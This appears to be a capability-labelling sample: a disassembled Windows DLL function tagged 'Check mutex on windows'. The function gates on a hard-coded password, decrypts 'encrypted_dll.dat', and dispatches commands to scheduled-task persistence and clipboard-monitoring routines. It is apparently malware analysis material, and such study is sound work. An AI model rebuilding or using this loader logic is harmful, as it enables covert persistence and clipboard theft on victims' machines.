Function at 0x10002fe0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x248
mov eax, dword [0x10033080]
xor eax, esp
mov dword [esp + 0x244], eax
push esi
mov esi, dword [ebp + 0x10]
push edi
push str.GlobalClipboardMonitorTask
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x10034e0c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x100032d5
test esi, esi
je 0x100032ae
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003031
sub ecx, edx
je 0x100032ae
mov ecx, esi
call fcn.10001f00
lea eax, [esp + 0x38]
mov dword [esp + 0x38], 0
push eax
push 0x1002fc8c
push esi
call fcn.1000ed76
add esp, 0xc
mov dword [esp + 0xc], eax
mov edx, str.MySecurePassword
mov ecx, eax
nop dword [eax]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x10003090
test al, al
je 0x1000308c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x10003090
add ecx, 2
add edx, 2
test al, al
jne 0x10003070
xor eax, eax
jmp 0x10003095
sbb eax, eax
or eax, 1
test eax, eax
je 0x100030a3
mov edx, 0x1002fc90
jmp 0x100032b3
lea eax, [esp + 0x38]
push eax
push 0x1002fc8c
push 0
call fcn.1000ed76
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x100030c7
mov edx, 0x1002fcb0
jmp 0x100032b3
push 0x11
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.encrypted_dll.dat
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.10007490
lea edx, [esp + 0x3c]
lea ecx, [esp + 0x10]
call fcn.100020a0
mov ecx, dword [esp + 0x24]
mov byte [esp + 0xb], al
cmp ecx, 0xf
jbe 0x1000313a
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000312c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100032eb
push ecx
push edx
call fcn.1000a529
mov al, byte [esp + 0x13]
add esp, 8
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
test al, al
je 0x10003272
mov ecx, str.createTask
mov eax, esi
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10003180
test dl, dl
je 0x1000317c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10003180
add eax, 2
add ecx, 2
test dl, dl
jne 0x10003160
xor eax, eax
jmp 0x10003185
sbb eax, eax
or eax, 1
mov edi, dword [esp + 0x3c]
test eax, eax
jne 0x100031d4
mov edx, str.CreateScheduledTask
mov ecx, edi
call fcn.100095b0
mov esi, eax
test esi, esi
je 0x1000326b
push 0xffffffffffffffff
push dword [esp + 0x10]
lea eax, [esp + 0x48]
mov dword [esp + 0x44], 0
push 0x104
push eax
lea eax, [esp + 0x4c]
push eax
call fcn.10012009
add esp, 0x14
lea eax, [esp + 0x40]
push eax
call esi
jmp 0x10003268
mov ecx, str.monitor
mov eax, esi
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10003200
test dl, dl
je 0x100031fc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10003200
add eax, 2
add ecx, 2
test dl, dl
jne 0x100031e0
xor eax, eax
jmp 0x10003205
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10003210
mov edx, str.ClipboardMonitor
jmp 0x10003192
mov ecx, str.start
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10003237
test dl, dl
je 0x10003233
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10003237
add eax, 2
add ecx, 2
test dl, dl
jne 0x10003217
xor eax, eax
jmp 0x1000323c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1000324a
mov edx, str.StartClipboardMonitorInNewProcess
jmp 0x10003192
mov edx, 0x1002fd28
mov ecx, 0x10034158
call fcn.10006f50
mov edx, esi
mov ecx, eax
call fcn.10006f50
push eax
call fcn.10007200
add esp, 4
mov ecx, edi
call fcn.10009700
mov eax, dword [0x10034e0c]
test eax, eax
je 0x100032d5
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push dword [0x10034e0c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x10034e0c], 0
pop edi
pop esi
mov ecx, dword [esp + 0x244]
xor ecx, esp
call fcn.1000a4e6
mov esp, ebp
pop ebp
ret 0x10
mov edx, 0x1002fc6c
mov ecx, 0x10034158
call fcn.10006f50
push eax
call fcn.10007200
add esp, 4
call fcn.10002950
call fcn.10002a10
call fcn.10002ad0
mov ecx, dword [esp + 0x24c]
pop edi
pop esi
xor ecx, esp
call fcn.1000a4e6
mov esp, ebp
pop ebp
ret 0x10
call fcn.10012927
int3